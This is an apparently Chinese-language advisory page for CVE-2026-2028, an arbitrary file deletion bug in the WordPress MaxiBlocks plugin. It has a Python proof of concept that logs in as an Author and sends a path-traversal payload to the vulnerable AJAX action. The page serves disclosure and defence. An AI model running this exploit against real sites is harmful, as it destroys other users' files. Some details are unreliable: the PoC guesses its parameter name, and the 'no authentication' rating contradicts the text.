IPBUF安全漏洞报告
English
CVE-2026-2028 CVSS 5.3 中危

CVE-2026-2028: WordPress MaxiBlocks插件任意文件删除漏洞

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2026-2028
漏洞类型
任意文件删除
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress MaxiBlocks Builder Plugin

相关标签

WordPress文件删除MaxiBlocks权限绕过CVE-2026-2028

漏洞概述

WordPress MaxiBlocks Builder插件在2.1.8及之前的所有版本中存在安全漏洞。该漏洞源于插件在'maxi_remove_custom_image_size' AJAX操作中未对文件所有权进行充分验证。这使得拥有作者级别及以上权限的经过身份验证的攻击者,能够利用此漏洞删除wp-content/uploads目录下的任意文件。受影响的文件包括其他用户或管理员上传的媒体文件,可能导致网站资源丢失或数据完整性受损。

技术细节

漏洞位于MaxiBlocks插件的`class-maxi-image-crop.php`文件中,涉及`maxi_remove_custom_image_size`这个AJAX动作。在正常流程中,该动作应仅允许用户删除自己上传的图片尺寸或文件。然而,由于代码逻辑缺陷,插件在接收到删除请求时,仅检查了请求的有效性,而未验证当前用户是否拥有目标文件的所有权。攻击者一旦通过认证(至少拥有Author角色),即可构造包含恶意文件路径或ID的POST请求发送至`wp-admin/admin-ajax.php`。通过操纵请求参数,攻击者可以指定`wp-content/uploads`目录下的任意文件路径,服务器端脚本会直接执行删除操作,从而绕过权限检查,实现非授权的文件删除。

攻击链分析

STEP 1
步骤1
攻击者获取目标WordPress网站的作者级别或更高权限的账户凭据。
STEP 2
步骤2
攻击者登录后台,获取有效的会话Cookie。
STEP 3
步骤3
攻击者构造恶意POST请求发送至`/wp-admin/admin-ajax.php`,指定action为`maxi_remove_custom_image_size`,并在参数中包含目标文件的路径或ID(指向wp-content/uploads目录)。
STEP 4
步骤4
服务器端插件接收请求,由于缺乏所有权验证,直接执行删除操作,移除目标文件。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration target_url = 'http://example.com/wp-admin/admin-ajax.php' login_url = 'http://example.com/wp-login.php' username = 'author_user' # Low privileged user password = 'password' # Initialize session session = requests.Session() # 1. Authenticate as Author (or higher) login_data = { 'log': username, 'pwd': password, 'redirect_to': 'http://example.com/wp-admin/', 'testcookie': '1' } session.post(login_url, data=login_data) # 2. Exploit Arbitrary File Deletion # The action 'maxi_remove_custom_image_size' is vulnerable # Assuming the plugin expects an image ID or path, we manipulate the input. # Note: Actual parameter name may vary based on plugin implementation (e.g., 'id', 'path', 'size_id') payload = { 'action': 'maxi_remove_custom_image_size', 'id': '../../../uploads/victim_image.jpg' # Path traversal or arbitrary ID reference } response = session.post(target_url, data=payload) if response.status_code == 200: print("[+] Request sent. Check if the file was deleted.") print(response.text) else: print("[-] Failed to send request.")

影响范围

WordPress MaxiBlocks Builder Plugin <= 2.1.8

防御指南

临时缓解措施
如果无法立即升级插件,建议暂时禁用MaxiBlocks Builder插件。此外,可以通过Web应用防火墙(WAF)添加规则,拦截针对`wp-admin/admin-ajax.php`且包含`maxi_remove_custom_image_size`参数的异常请求,直到补丁应用完毕。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表